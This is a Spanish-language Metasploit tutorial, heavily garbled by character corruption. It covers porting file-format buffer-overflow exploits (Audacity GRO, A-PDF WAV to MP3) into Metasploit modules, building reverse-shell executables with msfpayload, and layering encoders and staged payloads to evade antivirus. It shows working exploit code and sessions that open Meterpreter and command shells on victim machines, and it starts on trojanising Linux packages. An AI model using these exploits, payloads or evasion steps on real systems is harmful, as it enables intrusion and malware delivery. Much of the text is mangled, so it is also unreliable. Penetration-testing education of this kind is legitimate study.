# $Id: audacity1-26.rb 6668 2009-06-17 20:54:52Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Audacity 1.2.6 (GRO File) SEH
Overflow.',
'Description' => %q{
Audacity is prone to a buffer-overflow
vulnerability because it fails to perform adequate
boundary checks on user-supplied data. This
issue occurs in the
'String_parse::get_nonspace_quoted()'
function of the 'lib-src/allegro/strparse.cpp'
source file when handling malformed '.gro'
files
This module exploits a stack-based buffer
overflow in the Audacity audio editor 1.6.2.
An attacker must send the file to victim and
the victim must import the "midi" file.
},
'License' => MSF_LICENSE,
'Author' => [ 'muts & mr_me', 'Mati & Steve' ],
'Version' => '$Revision: 6668 $',
'References' =>
[
[ 'URL',
'http://milw0rm.com/exploits/7634' ],
[ 'CVE', '2009-0490' ],
],
'Payload' =>
{
'Space' => 2000,
'EncoderType' =>
Msf::Encoder::Type::AlphanumMixed,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Audacity Universal 1.2 ', { 'Ret' =>
0x637410A9} ],
],
'Privileged' => false,
'DisclosureDate' => '5th Jan 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file
name.', 'auda_eviL.gro']),
], self.class)
end
def exploit
hunter = generate_egghunter
egg = hunter[1]
buff = "\x41" * 174
buff << "\xeb\x08\x41\x41"
buff << [target.ret].pack('V')
buff << "\x90" * 4
buff << hunter[0]
buff << "\x43" * 200
buff << egg + egg
buff << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buff)
end
end
#orremos el e.ploit final a trav0s de un depurador para ase!urarse de 'ue todo est* en orden4
2odemos ver la e!!hunter se ha implementado correctamente y est* funcionando perfectamente4
<ue eneramos a las armas del exploit al final =
msf > search audacity
[*] Searching loaded modules for pattern 'audacity'...
Exploits
========
Name Description
---- -----------
windows/fileformat/audacity Audacity 1.2.6 (GRO File) SEH Overflow.
msf > use windows/fileformat/audacity
msf exploit(audacity) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(audacity) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME auda_eviL.gro yes The file name.
OUTPUTPATH /pentest/exploits/framework3/data/exploits yes The location of
the file.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.2.15 yes The local address
LPORT 4444 yes The local port
Exploit target:
Id Name
-- ----
0 Audacity Universal 1.2
msf exploit(audacity) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Creating 'auda_eviL.gro' file ...
[*] Generated output file /pentest/exploits/framework3/data/exploits/auda_eviL.gro
[*] Exploit completed, but no session was created.
W obtener una shell meterpreterZ
msf exploit(audacity) > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.2.15
LHOST => 192.168.2.15
msf exploit(handler) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.2.15:4444 -> 192.168.2.109:1445)
meterpreter 4
2ortin! ,.ploits
(R>0R5"906$ "06 70$ /(709'$
' pesar de &etasploit es propiedad comercial, siue siendo un proyecto de cdio abierto y crece y se
desarrolla sobre la base de usuarios contribuyen mdulos. $omo slo hay un pu0ado de desarrolladores
a tiempo completo en el equipo, hay una ran oportunidad para el puerto existente exploits pDblicos
para el &etasploit #rame2or3. Explota transferencia no slo ayudar a que &etasploit ms verstil y
potente, tambi!n es una excelente manera de aprender sobre el funcionamiento interno del #rame2or3
y le ayuda a me%orar sus habilidades de 6ub, al mismo tiempo. 5n punto muy importante tener en
cuenta al escribir mdulos &etasploit es que R siempre R necesidad de utilizar pesta0as duro y no los
espacios. /ara alunos otros detalles importantes del mdulo, consulte el Chac3inC archivo ubicado en
la raz del directorio de &etasploit. "ay aluna informacin importante que ayudar a aseurar que sus
envos se apresur a a0adir al tronco.
/ara comenzar, lo primero que tendrs que seleccionar, obviamente, un exploit en el puerto ms.
:amos a utilizar la '?(': to &/E $onverter /)# las armas del exploit al final la versin publicada en
http=>>222.exploit?db.com>exploits>OIPXO. 'l trasladar las exploit, no hay necesidad de empezar a
proramar desde cero, sino que simplemente se puede seleccionar un mdulo de las armas del exploit
al final pre?existente y modificarlo para adaptarlo a nuestros propsitos. )ado que se trata de un exploit
formato de archivo, vamos a ver en modules > exploits > 2indo2s > formato de archivo > apaado el
directorio &etasploit principal de un candidato adecuado. Este exploit en particular es un SE"
sobrescribe lo que necesitamos para encontrar un mdulo que utiliza la &S#== Exploit== 6emoto== Seh
mixin. /odemos encontrar esta cerca de la parte superior de la audiotran@pls.rb las armas del exploit al
final como se muestra a continuacin.
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
)espu!s de haber encontrado una plantilla adecuada para el uso de nuestro mdulo, entonces tira todo
lo especfico del mdulo existente y uardarlo en \ > .msfE>modules>exploits>2indo2s>fileformat >.
/uede que tena que crear los directorios adicionales en su directorio personal si est siuiendo
exactamente. Tena en cuenta que es posible uardar el mdulo personalizado en el directorio
&etasploit principal, pero puede causar problemas en la actualizacin del #rame2or3 si al final la
presentacin de un mdulo que se incluirn en el tronco. 9uestra las armas del exploit al final
simplificada es la siuiente=
##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Exploit Title',
'Description' => %q{
Exploit Description
},
'License' => MSF_LICENSE,
'Author' =>
[
'Author'
],
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://www.somesite.com ],
],
'Payload' =>
{
'Space' => 6000,
'BadChars' => "\x00\x0a",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => } ],
],
'Privileged' => false,
'DisclosureDate' => 'Date',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.',
'filename.ext']),
], self.class)
end
def exploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
end
'hora que nuestro s3eleton est listo, podemos empezar a conectar la informacin de la las armas del
exploit al final pDblica, si es que ha sido probado y comprobado que funciona. Empezamos a0adiendo
el ttulo, descripcin, autor KsM, y referencias. Tena en cuenta que es cort!s con los nombres de los
autores oriinales pDblica las armas del exploit al final como lo fue su traba%o duro que encontr el
error en el primer luar.
def initialize(info = {})
super(update_info(info,
'Name' => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in A-PDF WAV to MP3
v1.0.0. When
the application is used to import a specially crafted m3u file, a
buffer overflow occurs
allowing arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'd4rk-h4ck3r', # Original Exploit
'Dr_IDE', # SEH Exploit
'dookie' # MSF Module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/14676/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/14681/' ],
],
Todo se explica por s mismo a este punto y que no sea la estructura del mdulo de &etasploit, no hay
nada complicado pasando hasta ahora. 7levando a cabo ms en el mdulo, vamos a arantizar la
EN4T#59$ se establece en -seh Cy establecerC )isable/ayload"andler- a -true- para eliminar cualquier
conflicto con el controlador de el payload en espera de la shell. &ientras estudiaba el exploit pDblico en
un depurador, hemos determinado que hay aproximadamente PGG bytes de espacio disponible para
shellcode y que [ xGG y [ xGa son persona%es malos que corrompen a nuestra shellcode. Encontrar los
persona%es malos siempre es tedioso, pero para arantizar la fiabilidad las armas del exploit al final, es
un mal necesario. /ara ms informacin de encontrar su mala disposicin, consulte el siuiente enlace=
http=>>en.2i3iboo3s.or>2i3i>&etasploit>(ritin(indo2sExploit ] )ealin@2ith@badchars. En la
seccin C,b%etivosC, se a0ade el pop lo ms importante > pop > direccin del remitente retn para la las
armas del exploit al final, la lonitud del bDfer necesario para alcanzar el controlador de SE, y un
comentario indicando la direccin donde viene. )esde esta direccin de retorno es el binario de la
aplicacin, el ob%etivo es -(indo2s universal Cen este caso. /or Dltimo, arear la fecha se dio a
conocer la vulnerabilidad y arantizar la C)efaultTaret -valor se establece en G.
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'DisablePayloadHandler' => 'true'
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x0a",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' =>
4132 } ], # p/p/r in wavtomp3.exe
],
'Privileged' => false,
'DisclosureDate' => 'Aug 17 2010',
'DefaultTarget' => 0))
7a Dltima parte tenemos que editar antes de pasar a la explotacin actual es la seccin
Creister@options. En este caso, tenemos que decirle &etasploit lo que el nombre del archivo por
defecto ser para la las armas del exploit al final. En la red basada en exploits, aqu es donde se
declaran cosas como el puerto por defecto para su uso.
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
], self.class)
7a Dltima y ms interesante, la seccin de edicin es el -las armas del exploit al final- bloque en el que
todas las piezas enca%an. En primer luar, rand@text@alpha@upper Kob%etivo ^-,ffset-_M va a crear nuestro
buffer que conduce a la SE con controlador de azar, en mayDsculas los caracteres alfab!ticos con la
duracin que se especifica en el bloque de Cob%etivosC del mdulo. ' continuacin,
enerate@seh@record Ktaret.retM a0ade el salto corto y la direccin del remitente que normalmente
vemos en exploits pDblicos. 7a siuiente parte, ma3e@nops KOJM, se explica por si mismo, &etasploit se
utilizan una variedad de no?op instrucciones para ayudar en la 4)S > 4/S > evasin ':. /or Dltimo,
a0ade payload.encoded en el shellcode enerado de forma dinmica al exploit. 5n mensa%e se imprime
en la pantalla y los archivos maliciosos se escriben en el disco as que podemos enviar a nuestro
ob%etivo.
def exploit
sploit = rand_text_alpha_upper(target['Offset'])
sploit << generate_seh_record(target.ret)
sploit << make_nops(12)
sploit << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
'hora que tenemos todo lo editado, podemos tener nuestro mdulo de nueva creacin para una prueba
de mane%o.
msf > search a-pdf
[*] Searching loaded modules for pattern 'a-pdf'...
Exploits
========
Name Rank Description
---- ---- -----------
windows/browser/adobe_flashplayer_newfunction normal Adobe Flash Player
"newfunction" Invalid Pointer Use
windows/fileformat/a-pdf_wav_to_mp3 normal A-PDF WAV to MP3
v1.0.0 Buffer Overflow
windows/fileformat/adobe_flashplayer_newfunction normal Adobe Flash Player
"newfunction" Invalid Pointer Use
msf > use exploit/windows/fileformat/a-pdf_wav_to_mp3
msf exploit(a-pdf_wav_to_mp3) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.wav no The file name.
OUTPUTPATH /opt/metasploit3/msf3/data/exploits yes The location of the
file.
Exploit target:
Id Name
-- ----
0 Windows Universal
msf exploit(a-pdf_wav_to_mp3) > set OUTPUTPATH /var/www
OUTPUTPATH => /var/www
msf exploit(a-pdf_wav_to_mp3) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(a-pdf_wav_to_mp3) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(a-pdf_wav_to_mp3) > exploit
[*] Started reverse handler on 192.168.1.101:4444
[*] Creating 'msf.wav' file ...
[*] Generated output file /var/www/msf.wav
[*] Exploit completed, but no session was created.
msf exploit(a-pdf_wav_to_mp3) >
Todo parece estar funcionando bien hasta ahora. 'hora slo tenemos que confiurar un listenter
meterpreter y tenemos nuestras vctimas abrir nuestro archivo malicioso en la aplicacin vulnerable.
msf exploit(a-pdf_wav_to_mp3) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.101:4444
[*] Starting the payload handler...
[*] Sending stage (748544 bytes) to 192.168.1.160
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.160:53983) at
2010-08-31 20:59:04 -0600
meterpreter > sysinfo
Computer: XEN-XP-PATCHED
OS : Windows XP (Build 2600, Service Pack 3).
Arch : x86
Language: en_US
meterpreter> getuid
Server username: XEN-XP-PATCHED\Administrator
meterpreter>
`xitoZ 9o todas las exploits son tan fciles de puerto a trav!s, pero el tiempo es bien vale la pena y
ayuda a hacer una herramienta ya excelente, incluso me%or. /ara ms informacin sobre el porte
exploits y contribuir a &etasploit en eneral, consulte los siuientes enlaces=
http*??<<<.metasploit.com?redmine?pro-ects?frame<or%?repository?entry?&5"@96A
http*??<<<.metasploit.com?redmine?pro-ects?frame<or%?<i%i?(ortin!xploits
http*??<<<.metasploit.com?redmine?pro-ects?frame<or%?<i%i?xploitModule8ev
#lient Side ,.ploits
Exploits del lado cliente
)el lado cliente los exploits son siempre un tema divertido y un frente importante para los atacantes de
hoy. $omo los administradores de red y desarrolladores de soft2are fortalecer el permetro, pentesters
necesidad de encontrar una manera de hacer las vctimas abre la puerta para que entrar en la red. )el
lado del cliente exploit requieren la interaccin del usuario, tales como atractivos que haan clic en un
vnculo, abrir un documento, o de aluna manera llear a su sitio 2eb malicioso.
"ay muchas maneras diferentes de utilizar &etasploit para llevar a cabo los ataques del lado del cliente
y vamos a demostrar alunas de ellas aqu.
<inary 2ayloads
2ayloads <inarios
/arece que &etasploit est lleno de caractersticas interesantes y Dtiles. 5no de ellos es la capacidad de
enerar un e%ecutable a partir de un payload de &etasploit. Esto puede ser muy Dtil en situaciones tales
como la ineniera social, si usted puede conseuir un usuario para e%ecutar el payload para usted, no
hay razn para pasar por la molestia de la explotacin de cualquier soft2are.
:eamos un e%emplo rpido de cmo hacer esto. :amos a enerar una payload de shell inversa,
e%ecutarlo en un sistema remoto, y hacer que nuestra shell. /ara ello vamos a utilizar la lnea de
comandos msfpayload herramienta. Este comando se puede utilizar para la eneracin de caras para
ser usado en muchos luares, y ofrece una variedad de opciones de salida, de perl a $ a primas.
Estamos interesados en la salida del e%ecutable, el cual es proporcionado por el comando N.
:amos a enerar un e%ecutable de (indo2s shell inversa que se conecta de nuevo a nosotros en el
puerto EOEEF. Tena en cuenta que msfpayload opera del mismo modo que msfcli en que se puede
a0adir -,- de la carta hasta el final de la cadena de comandos para ver qu! opciones estn disponibles
para usted.
rootGbtMH msfpayload wndows*s"ellIre5erseItcp 9
LameM Endows Command ="ellR ?e5erse 2CP Bnlne
8ersonM (.%)
PlatformM Endows
Drc"M !0(
Leeds DdmnM Lo
2otal s+eM -0%
Pro5ded byM
5lad)'- 5lad)'-G4mal.com
$asc optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
3KB26<LC se" yes 3!t tec"n@ueM se"R t"readR process
C>9=2 yes 2"e local address
CP9?2 .... yes 2"e local port
7escrptonM
Connect bac# to attac#er and spawn a command s"ell
rootGbtMH msfpayload wndows*s"ellIre5erseItcp C>9=2=,%-.,(.,'..,&' CP9?2=&,&&% 9
LameM Endows Command ="ellR ?e5erse 2CP Bnlne
8ersonM (.%)
PlatformM Endows
Drc"M !0(
Leeds DdmnM Lo
2otal s+eM -0%
Pro5ded byM
5lad)'- 5lad)'-G4mal.com
$asc optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
3KB26<LC se" yes 3!t tec"n@ueM se"R t"readR process
C>9=2 ,%-.,(.,'..,&' yes 2"e local address
CP9?2 &,&&% yes 2"e local port
7escrptonM
Connect bac# to attac#er and spawn a command s"ell
rootGbtMH msfpayload wndows*s"ellIre5erseItcp C>9=2=,%-.,(.,'..,&' CP9?2=&,&&% K
> *tmp*,.e!e
Created by msfpayload ("ttpM**www.metasplot.com).
PayloadM wndows*s"ellIre5erseItcp
Cen4t"M -0%
9ptonsM C>9=2=,%-.,(.,'..,&'RCP9?2=&,&&%
rootGbtM*pentest*e!plots*framewor#&H fle *tmp*,.e!e
*tmp*,.e!eM M=179= e!ecutable P3 for M= Endows (;<B) Bntel 0'&0( &-1bt
,3, ahora vemos que tenemos un e%ecutable de (indo2s listo para funcionar. 'hora, vamos a usar
Cmulti > handlerC, que es un esbozo que se encara de los exploits inici fuera del frame2or3.
rootGbtMH msfconsole
HH HHH HH HH
HH HH HHHH HHHHHH HHHH HHHHH HHHHH HH HHHH HHHHHH
HHHHHHH HH HH HH HH HH HH HH HH HH HH HHH HH
HHHHHHH HHHHHH HH HHHHH HHHH HH HH HH HH HH HH HH
HH H HH HH HH HH HH HH HHHHH HH HH HH HH HH
HH HH HHHH HHH HHHHH HHHHH HH HHHH HHHH HHHH HHH
HH
=P metasplot 5&.&1rc, PcoreM&.& apM,.'Q
U 11 11=P &%, e!plots 1 -&. payloads
U 11 11=P -' encoders 1 % nops
=P ,.) au!
msf > use e!plot*mult*"andler
msf e!plot("andler) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
3!plot tar4etM
Bd Lame
11 1111
' Eldcard 2ar4et
$uando se utiliza el -exploit > multi > handler- mdulo, todava tenemos que decirle que el payload a
esperar por lo que confiurarlo para tener la misma confiuracin que el e%ecutable que enera.
msf e!plot("andler) > set payload wndows*s"ell*re5erseItcp
payload => wndows*s"ell*re5erseItcp
msf e!plot("andler) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
Payload optons (wndows*s"ell*re5erseItcp)M
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
3KB26<LC t"read yes 3!t tec"n@ueM se"R t"readR process
C>9=2 yes 2"e local address
CP9?2 .... yes 2"e local port
3!plot tar4etM
Bd Lame
11 1111
' Eldcard 2ar4et
msf e!plot("andler) > set C>9=2 ,%-.,(.,'..,&'
C>9=2 => ,%-.,(.,'..,&'
msf e!plot("andler) > set CP9?2 &,&&%
CP9?2 => &,&&%
msf e!plot("andler) >
'hora que tenemos todo confiurado y listo para ir, nos encontramos -explotar- para el controlador
multi > y e%ecutar nuestro archivo e%ecutable enerado en la vctima. El multi > handler se encara de la
explotacin para nosotros y nos presenta nuestro shell.
msf e!plot("andler) > e!plot
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ =tartn4 t"e payload "andler...
PZQ =endn4 sta4e (.%. bytes)
PZQ Command s"ell sesson - opened (,%-.,(.,'..,&'M&,&&% 1> ,%-.,(.,'..,-0M,,/')
Mcrosoft Endows KP P8erson /.,.-(''Q
(C) Copyr4"t ,)0/1-'', Mcrosoft Corp.
CM\7ocuments and =ettn4s\bm\My 7ocuments>
Antivirus <ypass
$omo hemos visto, los payloads binarios de &etasploit un ran traba%o. Sin embaro, hay un poco de
complicacin.
7a mayora de los sistemas basados en (indo2s actualmente corrido alDn tipo de proteccin anti?
virus, debido a la penetracin eneralizada de soft2are maliciosos que atacan a la plataforma. :amos a
hacer nuestro e%emplo un poco ms en el mundo real, e instalar la versin ratuita de ':. en el sistema
y ver qu! pasa.
)e inmediato, nuestro payload se detect. :amos a ver si hay alo que podemos hacer para evitar que
esto sea descubierto por ':..
:amos a codificar nuestro e%ecutable producido en un intento de hacer que sea ms difcil de descubrir.
"emos utilizado la codificacin de antes, cuando la explotacin de soft2are para evitar su mala
disposicin as que vamos a ver si podemos hacer uso de ella aqu. :amos a utilizar la lnea de
comandos del prorama msfencode. Echemos un vistazo a alunas de las opciones mediante la
e%ecucin de msfencode con el modificador -?h-.
rootGbtM*pentest*e!plots*framewor#&H msfencode 1"
<sa4eM .*msfencode
9P2B9L=M
1a 2"e arc"tecture to encode as
1b 2"e lst of c"aracters to a5odM A!''!ffA
1c 2"e number of tmes to encode t"e data
1e 2"e encoder to use
1" >elp banner
1 3ncode t"e contents of t"e suppled fle pat"
1l Cst a5alable encoders
1m =pecfes an addtonal module searc" pat"
1n 7ump encoder nformaton
1o 2"e output fle
1s 2"e ma!mum s+e of t"e encoded data
1t 2"e format to dsplay t"e encoded buffer wt" (rawR rubyR perlR cR e!eR
5ba)
:amos a ver lo que los codificadores estn a nuestro alcance mediante la e%ecucin de -msfencode?l-.
rootGbtM*pentest*e!plots*framewor#&H msfencode 1l
6ramewor# 3ncoders
==================
Lame ?an# 7escrpton
1111 1111 11111111111
cmd*4enercIs" normal ;enerc ="ell 8arable =ubsttuton Command
3ncoder
4enerc*none normal 2"e :none: 3ncoder
mpsbe*lon4!or normal K9? 3ncoder
mpsle*lon4!or normal K9? 3ncoder
p"p*base(. normal P>P $ase(. encoder
ppc*lon4!or normal PPC Con4K9? 3ncoder
ppc*lon4!orIta4 normal PPC Con4K9? 3ncoder
sparc*lon4!orIta4 normal =PD?C 7E9?7 K9? 3ncoder
!0(*alp"aIm!ed low Dlp"a- Dlp"anumerc M!edcase 3ncoder
!0(*alp"aIupper low Dlp"a- Dlp"anumerc <ppercase 3ncoder
!0(*a5odIutf0Itolower manual D5od <260*tolower
!0(*call.IdwordI!or normal CallU. 7word K9? 3ncoder
!0(*countdown normal =n4le1byte K9? Countdown 3ncoder
!0(*fnsten5Imo5 normal 8arable1len4t" 6nsten5*mo5 7word K9?
3ncoder
!0(*jmpIcallIaddt5e 4reat Polymorp"c bump*Call K9? Dddt5e 6eedbac#
3ncoder
!0(*nonalp"a low Lon1Dlp"a 3ncoder
!0(*nonupper low Lon1<pper 3ncoder
!0(*s"#ataI4aIna e!cellent Polymorp"c K9? Dddt5e 6eedbac# 3ncoder
!0(*uncodeIm!ed manual Dlp"a- Dlp"anumerc <ncode M!edcase
3ncoder
!0(*uncodeIupper manual Dlp"a- Dlp"anumerc <ncode <ppercase
3ncoder
Excelente. /odemos ver nuestras opciones y alunos codificadores de diferentes podemos hacer uso de.
:amos a utilizar la salida de bruto de msfpayload, y el tubo que como entrada para msfencode
utilizando el CShi3ata a nai encoderC Kse traduce como Cque no se puede evitarC o Cnada se puede
hacer al respectoCM. ' partir de ah, vamos a la salida de un binario de (indo2s.
rootGbtM*pentest*e!plots*framewor#&H msfpayload wndows*s"ellIre5erseItcp
C>9=2=,%-.,(.,'..,&' CP9?2=&,&&% ? [ msfencode 1e !0(*s"#ataI4aIna 1t e!e >
*tmp*-.e!e
PZQ !0(*s"#ataI4aIna succeeded wt" s+e &,/ (teraton=,)
rootGbtM*pentest*e!plots*framewor#&H fle *tmp*-.e!e
*tmp*-.e!eM M=179= e!ecutable P3 for M= Endows (;<B) Bntel 0'&0( &-1bt
/erfectoZ 'hora vamos a transferir el binario a otro sistema y ver qu! pasa. W a
;ueno, eso no es bueno. Es todava ser descubierto por ':.. ;ueno, no podemos de%ar que ':. ane,
AverdadB :amos un poco loco con ella, y el uso de tres diferentes codificadores, dos de los cuales
vamos a decirle a correr a trav!s de OG veces cada uno, para un total de JO codifica. Esta es la
codificacin de la medida de lo que podemos hacer y aDn as tener un sistema binario de traba%o. ':.
nunca pasar estoZ
rootGbtM*pentest*e!plots*framewor#&H msfpayload wndows*s"ellIre5erseItcp
C>9=2=,%-.,(.,'..,&' CP9?2=&,&&% ? [ msfencode 1e !0(*s"#ataI4aIna 1t raw 1c ,'
[ msfencode 1e !0(*call.IdwordI!or 1t raw 1c ,' [ msfencode 1e !0(*countdown 1t
e!e > *tmp*(.e!e
PZQ !0(*s"#ataI4aIna succeeded wt" s+e &,/ (teraton=,)
PZQ !0(*s"#ataI4aIna succeeded wt" s+e &.- (teraton=-)
PZQ !0(*s"#ataI4aIna succeeded wt" s+e &() (teraton=&)
PZQ !0(*s"#ataI4aIna succeeded wt" s+e &)( (teraton=.)
PZQ !0(*s"#ataI4aIna succeeded wt" s+e .-& (teraton=/)
PZQ !0(*s"#ataI4aIna succeeded wt" s+e ./' (teraton=()
PZQ !0(*s"#ataI4aIna succeeded wt" s+e .%% (teraton=%)
PZQ !0(*s"#ataI4aIna succeeded wt" s+e /'. (teraton=0)
PZQ !0(*s"#ataI4aIna succeeded wt" s+e /&, (teraton=))
PZQ !0(*s"#ataI4aIna succeeded wt" s+e //0 (teraton=,')
PZQ !0(*call.IdwordI!or succeeded wt" s+e /0( (teraton=,)
PZQ !0(*call.IdwordI!or succeeded wt" s+e (,. (teraton=-)
PZQ !0(*call.IdwordI!or succeeded wt" s+e (.- (teraton=&)
PZQ !0(*call.IdwordI!or succeeded wt" s+e (%' (teraton=.)
PZQ !0(*call.IdwordI!or succeeded wt" s+e ()0 (teraton=/)
PZQ !0(*call.IdwordI!or succeeded wt" s+e %-( (teraton=()
PZQ !0(*call.IdwordI!or succeeded wt" s+e %/. (teraton=%)
PZQ !0(*call.IdwordI!or succeeded wt" s+e %0- (teraton=0)
PZQ !0(*call.IdwordI!or succeeded wt" s+e 0,' (teraton=))
PZQ !0(*call.IdwordI!or succeeded wt" s+e 0&0 (teraton=,')
PZQ !0(*countdown succeeded wt" s+e 0/( (teraton=,)
rootGbtM*pentest*e!plots*framewor#&H fle *tmp*(.e!e
*tmp*(.e!eM M=179= e!ecutable P3 for M= Endows (;<B) Bntel 0'&0( &-1bt
Ok6 vamos a copiar el inario6 e?ecute yyyyyyyyyyyyyy 4444
"emos fracasadoZ Todava es descubierto por ':.Z A$mo vamos a superar estoB ;ueno, resulta que
hay una buena razn para ello. &etasploit es compatible con dos tipos de caras. 7a primera clase,
como Cventana > shell@reverse@tcpC, contiene todo el cdio necesario para la payload. El otro, como
-ventanas > shell > reverse@tcp Ctraba%a un poco diferente. -(indo2s > shell > reverse@tcp Ccontiene el
cdio lo suficiente como para abrir una conexin de red, entonces la etapa de la cara del resto del
cdio requerido por la explotacin de la mquina de los atacantes. /or lo tanto, en el caso de
Cventanas > shell > reverse@tcpC, se realiza una conexin al sistema atacante, el resto del payload se
cara en memoria, y lueo una shell proporciona.
Entonces, Aqu! sinifica esto para los antivirusB ;ueno, la mayora de los antivirus traba%a en la firma
basada en la tecnoloa. El cdio utilizado por Cventanas > shell@reverse@tcp -olpea las firmas y es
tocado por ':. de inmediato. /or otro lado, la payload por etapas C, las ventanas > shell > reverse@tcp
-no contiene la firma que ':. est buscando, y por lo tanto, se pierde. 'dems, al contener menos
cdio, no es menor para el prorama anti?virus para traba%ar, como si la firma se hace demasiado
en!rico, la tasa de falsos positivos va a subir y frustrar a los usuarios mediante la activacin de la no?
soft2are malicioso.
$on esto en mente, vamos a enerar una Cventana > shell > reverse@tcp -oranizado como un payload
e%ecutable.
rootGbtM*pentest*e!plots*framewor#&H msfpayload wndows*s"ell*re5erseItcp
C>9=2=,%-.,(.,'..,&' CP9?2=&,&&% K > *tmp*%.e!e
Created by msfpayload ("ttpM**www.metasplot.com).
PayloadM wndows*s"ell*re5erseItcp
Cen4t"M -%0
9ptonsM C>9=2=,%-.,(.,'..,&'RCP9?2=&,&&%
rootGbtM*pentest*e!plots*framewor#&H fle *tmp*%.e!e
*tmp*%.e!eM M=179= e!ecutable P3 for M= Endows (;<B) Bntel 0'&0( &-1bt
,3, ahora tenemos copiar en el sistema remoto y lo e%ecuta, lueo ver qu! pasa.
rootGbtM*pentest*e!plots*framewor#&H msfcl e!plot*mult*"andler
PDJC9D7=wndows*s"ell*re5erseItcp C>9=2=,%-.,(.,'..,&' CP9?2=&,&&% 3
PZQ Please wat w"le we load t"e module tree...
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ =tartn4 t"e payload "andler...
PZQ =endn4 sta4e (.%. bytes)
PZQ Command s"ell sesson , opened (,%-.,(.,'..,&'M&,&&% 1> ,%-.,(.,'..,-0M,/.0)
Mcrosoft Endows KP P8erson /.,.-(''Q
(C) Copyr4"t ,)0/1-'', Mcrosoft Corp.
CM\7ocuments and =ettn4s\bm\My 7ocuments>dr
dr
8olume n dr5e C "as no label.
8olume =eral Lumber s 3.-&13%-(
7rectory of CM\7ocuments and =ettn4s\bm\My 7ocuments
'/*-%*-'') ')M/( PM
.
'/*-%*-'') ')M/( PM
..
'/*-/*-'') ')M&( PM )R%-0 %.e!e
'/*-/*-'') ,,M.( PM
7ownloads
,'*-)*-''0 '/M// PM
My Musc
,'*-)*-''0 '/M// PM
My Pctures
, 6le(s) )R%-0 bytes
/ 7r(s) &0R(//R(,.R)%( bytes free
CM\7ocuments and =ettn4s\bm\My 7ocuments>
X.itoV Antivirus no provoc en esta nueva escena del payload "emos lo!rado evadir antivirus en
el sistema6 y lir nuestro payload4
<inary /inu. Tro?ans
<inarios troyanos /inu.
' fin de demostrar que los ataques del lado del cliente y troyanos no son exclusivos para el mundo
(indo2s, cual payload un paquete &etasploit en un paquete deb 5buntu que nos d! una shell de
7inux. 5n excelente video fue hecho por 6edmeat@u3 demostrar esta t!cnica que se puede ver en
